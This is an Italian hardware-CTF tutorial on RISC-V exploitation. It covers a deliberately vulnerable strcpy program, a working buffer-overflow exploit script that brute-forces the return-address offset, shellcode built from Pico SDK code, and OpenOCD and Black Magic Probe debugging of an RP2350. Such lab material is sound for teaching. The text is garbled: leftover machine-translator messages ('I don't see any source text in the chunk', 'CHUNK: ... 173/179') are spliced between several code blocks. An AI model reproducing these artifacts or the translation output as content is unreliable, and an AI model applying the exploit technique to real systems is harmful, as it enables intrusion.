Puoi usare il comando help per vedere più opzioni.
Spike è un debugger MOLTO basilare, quindi combina l'utility esterna riscv32-unknown-elf-objdump, dump (comando di Spike) + l'utility esterna hexdump per analizzare memoria e codice in modo più efficace...
Esempio di POC raffazzonato di classico buffer overflow exploit su RISCV Hazard3 usando l'emulatore Spike.
Su RISCV, l'indirizzo di ritorno può essere memorizzato in un registro piuttosto che sullo stack come su x86. Per abilitare la sovrascrittura dell'indirizzo di ritorno basata sullo stack, ho aggiunto chiamate di funzione annidate per inserire l'indirizzo di ritorno nello stack.
test.c``` #include <stdio.h> #include <string.h> #include <stdlib.h> static unsigned char buff[0x100] = { 0 }; static void attribute((optimize("O0"))) func3(unsigned char* exbuff) { strcpy((char*)exbuff, (char*)buff); } static void attribute((optimize("O0"))) func2(unsigned char* exbuff) { func3(exbuff); }
static void attribute((optimize("O0"))) func1(void) { unsigned char exbuff[10] = { 0 }; func2(exbuff); }
static void attribute((optimize("O0"))) func_impossible(void) { printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("This function is impossible to reach\n"); printf("good hacker!\n"); exit(0); }
int main(int argc, char* argv[]) { printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n"); printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n"); printf("func_impossible address: %p\n", func_impossible); if (argc < 2) { printf("Error, must execute with one arg\n"); return 1; } printf("argv 1: %s\n", argv[1]); strcpy((char*)buff, argv[1]); func1(); return 0; }
dotest.sh```
#!/usr/bin/env bash
# https://github.com/therealdreg/hcon2026hwctf
# by Dreg - @therealdreg
set -x
RISCV=/home/dreg/RISCV
PATH=$PATH:$RISCV/bin
ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs"
ABI="ilp32"
CC="riscv32-unknown-elf-gcc"
PK="$RISCV/riscv32-unknown-elf/bin/pk"
ISA_SPIKE="$ARCH"
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
file test
spike --isa=$ISA_SPIKE "$PK" test AA
echo
spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Dopo dotest.sh questo è l'output``` ....
https://github.com/therealdreg/hcon2026hwctf Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg func_impossible address: 0x101d2 argv 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA z 00000000 ra 41414141 sp 7ffffd20 gp 0001c810 tp 00000000 t0 000003e8 t1 0000006a t2 00000001 s0 41414141 s1 00000000 a0 7ffffd04 a1 0001c7c4 a2 7ffffd64 a3 00000000 a4 00000000 a5 00000041 a6 ffffffff a7 00000040 s2 00000000 s3 00000000 s4 00000000 s5 00000000 s6 00000000 s7 00000000 s8 00000000 s9 00000000 sA 00000000 sB 00000000 t3 00000000 t4 00000000 t5 00008801 t6 00000005 pc 41414140 va/inst 41414140 sr 80006020 User fetch segfault @ 0x41414140
Come puoi vedere, abbiamo sovraccaricato il buffer con successo e controllato il program counter (pc) per puntare a 0x41414140, che corrisponde a 'AAAA' in ASCII.
Ora creiamo il payload poc-exploit CRAP per reindirizzare l'esecuzione alla funzione func_impossible.
Per creare il payload exploit, dobbiamo determinare l'offset corretto per sovrascrivere l'indirizzo di ritorno e quindi aggiungere l'indirizzo della funzione func_impossible.
xpl.sh```
#!/usr/bin/env bash
# https://github.com/therealdreg/hcon2026hwctf
# by Dreg - @therealdreg
# Bruteforce offset script for RISCV Hazard3 buffer overflow
set -e
RISCV=/home/dreg/RISCV
PATH=$PATH:$RISCV/bin
ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs"
ABI="ilp32"
CC="riscv32-unknown-elf-gcc"
PK="$RISCV/riscv32-unknown-elf/bin/pk"
ISA_SPIKE="$ARCH"
echo "[+] Compiling test.c..."
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
echo "[+] Getting func_impossible address..."
FUNC_ADDR=$(spike --isa=$ISA_SPIKE "$PK" test AA 2>&1 | grep "func_impossible address:" | awk '{print $3}')
if [ -z "$FUNC_ADDR" ]; then
echo "[-] Error: Could not get func_impossible address"
exit 1
fi
echo "[+] func_impossible address: $FUNC_ADDR"
# Convert hex address to decimal and then to little-endian bytes
ADDR_DEC=$((FUNC_ADDR))
BYTE1=$(printf '%02x' $((ADDR_DEC & 0xFF)))
BYTE2=$(printf '%02x' $(((ADDR_DEC >> 8) & 0xFF)))
BYTE3=$(printf '%02x' $(((ADDR_DEC >> 16) & 0xFF)))
BYTE4=$(printf '%02x' $(((ADDR_DEC >> 24) & 0xFF)))
echo "[+] Address bytes (little-endian): \\x$BYTE1 \\x$BYTE2 \\x$BYTE3 \\x$BYTE4"
echo "[+] Starting bruteforce for offset..."
for OFFSET in {10..100}; do
echo "[*] Testing offset: $OFFSET"
# Create payload with OFFSET bytes of 'A' + target address in little-endian
python3 -c "import sys; sys.stdout.buffer.write(b'A'*${OFFSET} + bytes.fromhex('${BYTE1}${BYTE2}${BYTE3}${BYTE4}'))" > exploit_payload.bin
# Run spike and capture output
OUTPUT=$(spike --isa=$ISA_SPIKE "$PK" test "$(cat exploit_payload.bin)" 2>&1 || true)
# Check if func_impossible was executed
if echo "$OUTPUT" | grep -q "This function is impossible to reach"; then
echo ""
echo "[+] SUCCESS! Offset found: $OFFSET"
echo "[+] Exploit payload saved to: exploit_payload.bin"
echo "[+] Target address: $FUNC_ADDR"
echo ""
echo "[+] Output:"
echo "$OUTPUT"
echo ""
echo "[+] To reproduce:"
SPIKE_PATH=$(which spike)
echo "$SPIKE_PATH --isa=$ISA_SPIKE \"$PK\" test \"\$(cat exploit_payload.bin)\""
exit 0
fi
done
echo "[-] Offset not found in range 10-100"
exit 1
Esempio di output dopo aver eseguito xpl.sh``` [+] Compiling test.c... [+] Getting func_impossible address... [+] func_impossible address: 0x101e2 [+] Address bytes (little-endian): \xe2 \x01 \x01 \x00 [+] Starting bruteforce for offset... [] Testing offset: 10 [] Testing offset: 11 [] Testing offset: 12 [] Testing offset: 13 [] Testing offset: 14 [] Testing offset: 15 [] Testing offset: 16 [] Testing offset: 17 [] Testing offset: 18 [] Testing offset: 19 [] Testing offset: 20 [] Testing offset: 21
[+] SUCCESS! Offset found: 21 [+] Exploit payload saved to: exploit_payload.bin [+] Target address: 0x101e2
[+] Output:
https://github.com/therealdreg/hcon2026hwctf Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg func_impossible address: 0x101e2 argv 1: AAAAAAAAAAAAAAAAAAAAA� �AAAAAAAAA� This function is impossible to reach This function is impossible to reach This function is impossible to reach This function is impossible to reach This function is impossible to reach This function is impossible to reach good hacker!
[+] To reproduce: /home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" test "$(cat exploit_payload.bin)"
hexdump -C exploit_payload.bin```
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 e2 01 01 00 |AAAAA....|
Lo script xpl.sh è un POC rozzo che brute-forza con successo l'offset necessario per raggiungere la funzione func_impossible. Potrebbe essere necessario modificare o adattare l'exploit alle proprie esigenze specifiche.
Questa sezione illustra il passaggio dal codice C ad alto livello alla shellcode di istruzioni raw per il core RISC-V Hazard3. Partiremo da un progetto standard Pico SDK e rimuoveremo progressivamente le astrazioni fino a poter eseguire codice macchina raw da un array di byte.
Installare il toolchain di cross-compilazione e clonare il Pico SDK.```
sudo apt-get update sudo apt-get install cmake python3 build-essential gcc-arm-none-eabi libnewlib-arm-none-eabi libstdc++-arm-none-eabi-newlib git
I don't see any source text in the chunk. If you can paste the actual content for chunk 121, I'll translate it into Italian right away.```
# Create workspace
cd && mkdir ~/PAYLOAD
INPUT:```
cd ~/PAYLOAD git clone --recursive --branch 2.2.0 https://github.com/raspberrypi/pico-sdk.git
Configura il progetto specificamente per l'RP2350 utilizzando l'architettura RISC-V. Nota che definiamo le versioni della piattaforma e della toolchain per garantire la compatibilità.
File: `~/PAYLOAD/CMakeLists.txt````
set(PICO_PLATFORM rp2350-riscv)
set(PICO_BOARD pico2 CACHE STRING "Board type")
set(sdkVersion 2.2.0)
set(toolchainVersion RISCV_ZCB_RPI_2_2_0_3)
cmake_minimum_required(VERSION 3.13...3.27)
include(pico-sdk/pico_sdk_init.cmake)
project(my_project)
pico_sdk_init()
add_executable(poc
poc.c
)
target_link_libraries(poc pico_stdlib)
pico_enable_stdio_usb(poc 1)
pico_enable_stdio_uart(poc 0)
pico_add_extra_outputs(poc)
Iniziamo con un semplice programma C che commuta un GPIO. Questa versione si basa su funzioni SDK esterne.
File: `~/PAYLOAD/poc.c```` #include <stdio.h> #include "pico/stdlib.h"
static void attribute((optimize("O0"))) onled(void) { gpio_put(25, 1); }
int main() { gpio_init(25); gpio_set_dir(25, GPIO_OUT); onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Compila il progetto e ispeziona il binario risultante.```
cd ~/PAYLOAD/
rm -rf build/ && cmake -S . -B build && make -C build -j
File: `~/PAYLOAD/build/poc.elf```` ~/PAYLOAD/build/poc.elf: ELF 32-bit LSB executable, UCB RISC-V, RVC, soft-float ABI, version 1 (SYSV), statically linked, with debug_info, not stripped
Se controlliamo il disassembly, possiamo vedere come il compilatore gestisce le chiamate di funzione.
File: `~/PAYLOAD/build/poc.dis````
....
1000012e <onled>:
1000012e: 1141 addi sp,sp,-16
10000130: c606 sw ra,12(sp)
10000132: c422 sw s0,8(sp)
10000134: 0800 addi s0,sp,16
10000136: 4585 li a1,1
10000138: 4565 li a0,25
1000013a: 2031 jal 10000146 <gpio_put>
1000013c: 0001 nop
1000013e: 40b2 lw ra,12(sp)
10000140: 4422 lw s0,8(sp)
10000142: 0141 addi sp,sp,16
10000144: 8082 ret
....
10000146 <gpio_put>:
10000146: 28a01533 bset a0,zero,a0
1000014a: d00007b7 lui a5,0xd0000
1000014e: c199 beqz a1,10000154 <gpio_put+0xe>
10000150: cf88 sw a0,24(a5)
10000152: 8082 ret
10000154: d388 sw a0,32(a5)
10000156: 8082 ret
....
Per creare un payload autonomo, dobbiamo evitare salti esterni. Riscriviamo la funzione usando assembly inline per interagire direttamente con i registri hardware.
File: `~/PAYLOAD/poc_with_asm.c```` #include <stdio.h> #include "pico/stdlib.h"
attribute((naked, optimize("O0"))) void onled(void) { asm volatile(
"addi sp, sp, -16\n\t"
"sw ra, 12(sp)\n\t"
"sw s0, 8(sp)\n\t"
"addi s0, sp, 16\n\t"
"li a1, 1\n\t"
"li a0, 25\n\t"
"bset a0, zero, a0\n\t"
"lui a5, 0xd0000\n\t"
"beqz a1, 1f\n\t"
"sw a0, 24(a5)\n\t"
"j 2f\n\t"
"1:\n\t"
"sw a0, 32(a5)\n\t"
"2:\n\t"
"nop\n\t"
"lw ra, 12(sp)\n\t"
"lw s0, 8(sp)\n\t"
"addi sp, sp, 16\n\t"
"ret\n\t"
); }
int main() { gpio_init(25); gpio_set_dir(25, GPIO_OUT); onled();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
onled();
}
return 0;
}
Ora il disassembly mostra che la funzione è ora completamente autonoma:
File: `~/PAYLOAD/build/poc_with_asm.dis````
1000012e <onled>:
1000012e: 1141 addi sp,sp,-16
10000130: c606 sw ra,12(sp)
10000132: c422 sw s0,8(sp)
10000134: 0800 addi s0,sp,16
10000136: 4585 li a1,1
10000138: 4565 li a0,25
1000013a: 28a01533 bset a0,zero,a0
1000013e: d00007b7 lui a5,0xd0000
10000142: c199 beqz a1,10000148 <onled+0x1a>
10000144: cf88 sw a0,24(a5)
10000146: a011 j 1000014a <onled+0x1c>
10000148: d388 sw a0,32(a5)
1000014a: 0001 nop
1000014c: 40b2 lw ra,12(sp)
1000014e: 4422 lw s0,8(sp)
10000150: 0141 addi sp,sp,16
10000152: 8082 ret
10000154: 0001 nop
Estrai gli opcode in un array di byte ed eseguilo convertendolo in un puntatore a funzione.
File: `~/PAYLOAD/poc_payload_asm.c```` #include <stdio.h> #include "pico/stdlib.h"
unsigned char payload[] = { "\x41\x11" // 1141 "\x06\xc6" // c606 "\x22\xc4" // c422 "\x00\x08" // 0800 "\x85\x45" // 4585 "\x65\x45" // 4565 "\x33\x15\xa0\x28" // 28a01533 "\xb7\x07\x00\xd0" // d00007b7 "\x99\xc1" // c199 "\x88\xcf" // cf88 "\x11\xa0" // a011 "\x88\xd3" // d388 "\x01\x00" // 0001 "\xb2\x40" // 40b2 "\x22\x44" // 4422 "\x41\x01" // 0141 "\x82\x80" // 8082 "\x01\x00" // 0001 };
int main() { gpio_init(25); gpio_set_dir(25, GPIO_OUT); ((void ()(void))(void)payload)();
sleep_ms(1000);
stdio_init_all();
sleep_ms(1000);
while (1)
{
sleep_ms(500);
gpio_put(25, 0);
printf("HI Dreg!\n");
sleep_ms(500);
((void (*)(void))(void*)payload)();
}
return 0;
}
After building, we can verify that the payload is correctly mapped in memory
File: `~/PAYLOAD/build/poc_payload_asm.dis````
20000e74 <payload>:
20000e74: 1141 c606 c422 0800 4585 4565 1533 28a0 A..."....EeE3..(
20000e84: 07b7 d000 c199 cf88 a011 d388 0001 40b2 ...............@
20000e94: 4422 0141 8082 0001 0000 0000 "DA.........
Una delle sfide richiede di fare squadra con un altro partecipante o di avere due schede RP2350 per fare debug hardware reale; impariamo come si fa.
(È necessario avere pico-sdk installato)
/etc/udev/rules.d/99-pico.rules```
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0003", MODE:="0666"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="0009", MODE:="0666"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="0d28", MODE:="0666"
/etc/udev/rules.d/99-openocd.rules```
# Sample udev rules for OpenOCD and Raspberry Pi / common debug probes
# Copy (as root) to /etc/udev/rules.d/99-openocd.rules and reload udev.
# Choose MODE/GROUP according to your security policy. Using GROUP="plugdev" and MODE="0660" is safer than 0666.
# Ensure your user is in the chosen group (e.g. plugdev or dialout).
# Raspberry Pi Pico in BOOTSEL (UF2 mass-storage + HID)
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0003", GROUP="plugdev", MODE="0660"
# Raspberry Pi Debug Probe (CMSIS-DAP) composite interface
# (VID 2e8a, PID 000c) Provides CMSIS-DAP and UART CDC.
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="000c", GROUP="plugdev", MODE="0660"
# Optional: allow tty device of Debug Probe (UART) for dialout group
SUBSYSTEM=="tty", ATTRS{idVendor}=="2e8a", ATTRS{idProduct}=="000c", GROUP="dialout", MODE="0660"
# Picoprobe (RP2040 running picoprobe firmware)
# Often appears as VID 2e8a PID 0004
SUBSYSTEM=="usb", ATTR{idVendor}=="2e8a", ATTR{idProduct}=="0004", GROUP="plugdev", MODE="0660"
# Generic Arm DAPLink devices (mbed) - vendor 0d28
SUBSYSTEM=="usb", ATTR{idVendor}=="0d28", GROUP="plugdev", MODE="0660"
# ST-Link V2/V3 (STMicroelectronics)
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3748", GROUP="plugdev", MODE="0660" # ST-Link V2
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="374b", GROUP="plugdev", MODE="0660" # ST-Link V2-1
SUBSYSTEM=="usb", ATTR{idVendor}=="0483", ATTR{idProduct}=="3752", GROUP="plugdev", MODE="0660" # ST-Link V3
# SEGGER J-Link (example common VID/PID)
SUBSYSTEM=="usb", ATTR{idVendor}=="1366", GROUP="plugdev", MODE="0660"
# FTDI-based adapters (optional; restrict if needed)
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", GROUP="plugdev", MODE="0660"
# CMSIS-DAP HID interface sometimes enumerates under hidraw; ensure access if needed
KERNEL=="hidraw*", ATTRS{idVendor}=="2e8a", MODE="0660", GROUP="plugdev"
KERNEL=="hidraw*", ATTRS{idVendor}=="0d28", MODE="0660", GROUP="plugdev"
# After copying: sudo udevadm control --reload-rules && sudo udevadm trigger
# Unplug/replug devices or run: sudo udevadm trigger -v -c add -s usb
# Verify: ls -l /dev/hidraw* /dev/ttyACM* ; lsusb -v -d 2e8a:000c
# Test OpenOCD without sudo: openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg
I don't see any content in the input to translate. The "INPUT:" section is empty. Please provide the actual chunk text so I can translate it.``` sudo udevadm control -R
Per prima cosa, devi flashare un firmware RISCV .uf2 sulla scheda target. Dato che la CTF usa firmware RISCV, questo passaggio non è necessario. E comunque, vuoi eseguire il debug di quel firmware!
Converti una scheda RP2350 in una scheda Hardware-Debugger con questo firmware: https://github.com/raspberrypi/debugprobe/releases/download/debugprobe-v2.2.3/debugprobe_on_pico2.uf2
Collega la scheda hardware debugger alla scheda target

Collega RISCV-openocd```
cd /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
Non è stato ricevuto alcun contenuto da tradurre: il campo INPUT risulta vuoto.```
/home/dreg/.pico-sdk/openocd/0.12.0+dev/openocd
-s /home/dreg/.pico-sdk/openocd/0.12.0+dev/scripts
-f interface/cmsis-dap.cfg
-f target/rp2350-riscv.cfg
-c "set USE_CORE { rv0 }"
-c "adapter speed 5000"
-c "gdb breakpoint_override hard"
-c "init"
I don't see any content in the input chunk to translate. Please provide the Markdown content for chunk 153.```
Open On-Chip Debugger 0.12.0+dev (2025-10-09-12:15)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
Info : [rp2350.rv0] Hardware thread awareness created
Info : [rp2350.rv1] Hardware thread awareness created
ocd_process_reset_inner
rv0
adapter speed: 5000 kHz
force hard breakpoints
Info : Using CMSIS-DAPv2 interface with VID:PID=0x2e8a:0x000c, serial=E6616407E3953729
Info : CMSIS-DAP: SWD supported
Info : CMSIS-DAP: Atomic commands supported
Info : CMSIS-DAP: Test domain timer supported
Info : CMSIS-DAP: FW Version = 2.0.0
Info : CMSIS-DAP: Interface Initialised (SWD)
Info : SWCLK/TCK = 0 SWDIO/TMS = 0 TDI = 0 TDO = 0 nTRST = 0 nRESET = 0
Info : CMSIS-DAP: Interface ready
Info : clock speed 5000 kHz
Info : SWD DPIDR 0x4c013477
Info : [rp2350.rv0] datacount=1 progbufsize=2
Info : [rp2350.rv0] Disabling abstract command reads from CSRs.
Info : [rp2350.rv0] Disabling abstract command writes to CSRs.
Info : [rp2350.rv0] Core 0 could not be made part of halt group 1.
Info : [rp2350.rv0] Examined RISC-V core
Info : [rp2350.rv0] XLEN=32, misa=0x40901105
Info : [rp2350.rv0] Examination succeed
Info : [rp2350.rv1] datacount=1 progbufsize=2
Info : [rp2350.rv1] Disabling abstract command reads from CSRs.
Info : [rp2350.rv1] Disabling abstract command writes to CSRs.
Info : [rp2350.rv1] Core 1 could not be made part of halt group 1.
Info : [rp2350.rv1] Examined RISC-V core
Info : [rp2350.rv1] XLEN=32, misa=0x40901105
Info : [rp2350.rv1] Examination succeed
Info : [rp2350.rv0] starting gdb server on 3333
Info : Listening on port 3333 for gdb connections
Info : Listening on port 6666 for tcl connections
Info : Listening on port 4444 for telnet connections
Ora connetti RISCV-GDB:```
/home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb -q
-ex "set pagination off"
-ex "set remote interrupt-on-connect off"
-ex "target remote localhost:3333"
-ex "monitor targets rp2350.rv0"
-ex "monitor halt"
-ex "info reg"
I don't see any content to translate in the input. Please provide the chunk text you'd like translated.```
Remote debugging using localhost:3333
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x20001d56 in ?? ()
rp2350.rv0 halted due to breakpoint.
rp2350.rv1 halted due to debug-request.
ra 0x2001041c 0x2001041c
sp 0x20010400 0x20010400
gp 0x20031455 0x20031455
tp 0x0 0x0
t0 0x2000d7ba 536926138
t1 0x6a8c 27276
t2 0x200103a0 536937376
fp 0x20082000 0x20082000
s1 0x20010450 536937552
a0 0x0 0
a1 0x7232 29234
a2 0xffa00000 -6291456
a3 0x7206 29190
a4 0x0 0
a5 0xbdf0 48624
a6 0x7750 30544
a7 0x1 1
s2 0x10000036 268435510
s3 0x0 0
s4 0x0 0
s5 0x0 0
s6 0x0 0
s7 0x0 0
s8 0x0 0
s9 0x0 0
s10 0x0 0
s11 0x0 0
t3 0x200103d4 536937428
t4 0x0 0
t5 0x6b0c 27404
t6 0x74f8 29944
pc 0x20001d56 0x20001d56
Disassembla 10 istruzioni dal pc corrente usando x/10i $pc:``` (gdb) x/10i $pc => 0x20001d56: lui a5,0x20031 0x20001d5a: lbu a5,-931(a5) 0x20001d5e: .insn 2, 0x9fe1 0x20001d60: xori a5,a5,1 0x20001d64: .insn 2, 0x9fe1 0x20001d66: bnez a5,0x20001d54 0x20001d68: li a0,2000 0x20001d6c: jal 0x20004ce2 0x20001d70: nop 0x20001d72: li a5,1
Da questo punto puoi eseguire il debug del chip.
## Black Magic Debug Probe RP2350 RISCV Hazard3

Acquista Black Magic Debug Probe: con cavo JTAG, cavo UART da 0.1" e adattatore a 20 pin:
- https://1bitsquared.de/products/black-magic-probe
/etc/udev/rules.d/99-blackmagic-plugdev.rules```
# Black Magic Probe
# there are two connections, one for GDB and one for UART debugging
# copy this to /etc/udev/rules.d/99-blackmagic.rules
# and run sudo udevadm control -R
ACTION!="add|change|bind", GOTO="blackmagic_rules_end"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic GDB Server", SYMLINK+="ttyBmpGdb%E{ID_SERIAL_SHORT}"
SUBSYSTEM=="tty", ACTION=="add", ATTRS{interface}=="Black Magic UART Port", SYMLINK+="ttyBmpTarg%E{ID_SERIAL_SHORT}"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6017", MODE="0666", GROUP="plugdev", TAG+="uaccess"
SUBSYSTEMS=="usb", ATTRS{idVendor}=="1d50", ATTRS{idProduct}=="6018", MODE="0666", GROUP="plugdev", TAG+="uaccess"
LABEL="blackmagic_rules_end"
I've reviewed the input, but the chunk content following "INPUT:" is empty — there is no Markdown text to translate. Please provide the actual chunk content, and I'll translate it into Italian following all the specified rules.``` sudo udevadm control -R
Aggiornamento:
- https://black-magic.org/upgrade.html```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
Black Magic Debug per BMP (target RISC-V):``` ./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:26:22Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present [2026-01-08T13:26:22Z INFO bmputil_cli] Upgrading probe firmware from 1.10.2 to 2.0.0 ✔ Which firmware variant would you like to run on your probe? · Black Magic Debug for BMP (RISC-V targets) ✔ What action would you like to take with this firmware? · Flash to probe Downloading requested firmware Found: Black Magic Probe 1.10.2 Serial: BEF6A9B0 Port: 1-3 Erasing flash... Flashing... 100% |........................................................| 77.99 KiB/77.99 KiB [4.66 KiB/s 17s] [2026-01-08T13:26:49Z INFO bmputil::flasher] Flash complete!
I don't see any content to translate — the message ends with "INPUT:" and no Markdown text follows. Please provide the chunk content, and I'll translate it into Italian according to the specified rules.```
cd /home/dreg/Downloads/bmputil-x86_64-unknown-linux-gnu-v1.0.0/bmputil-x86_64-unknown-linux-gnu-v1.0.0
---``` ./bmputil-cli probe info Found: Black Magic Probe 2.0.0 Serial: BEF6A9B0 Port: 1-3
CHUNK: [0.352233] -> chunk 173/179```
./bmputil-cli probe update
Updating release metadata cache [2026-01-08T13:27:41Z INFO bmputil::metadata] Validating v1 metadata with 18 releases present
[2026-01-08T13:27:41Z INFO bmputil_cli] Latest release 2.0.0 is not newer than firmware version 2.0.0, not updating
I need to translate the provided content. However, the chunk content appears to be empty. There is no text provided after the "INPUT:" marker to translate. I will return an empty response to maintain the chunk structure without adding any artifacts.``` /home/dreg/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3/bin/riscv32-unknown-elf-gdb
I don't see any input content to translate. The chunk appears to be empty. Please ensure the content is provided.```
(gdb) target extended-remote /dev/ttyBmpGdb
Remote debugging using /dev/ttyBmpGdb
(gdb) monitor auto_scan
Target voltage: 3.3V
JTAG scan found no devices, trying SWD!
Available Targets:
No. Att Driver
1 RP2350 rv32imac
2 RP2350 rv32imac
(gdb) attach 1
Attaching to Remote target
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0x100000aa in ?? ()
(gdb) x/10i $pc
=> 0x100000aa: addi a1,a1,4
0x100000ac: addi a2,a2,4
0x100000ae: bltu a2,a3,0x100000a6
0x100000b2: ret
0x100000b4: addi a3,sp,128
0x100000b6: addi s0,sp,32
0x100000b8: unimp
0x100000ba: fld fs0,0(s0)
0x100000bc: sw a3,96(a5)
0x100000be: jal 0x100000be
(gdb) c
Continuing.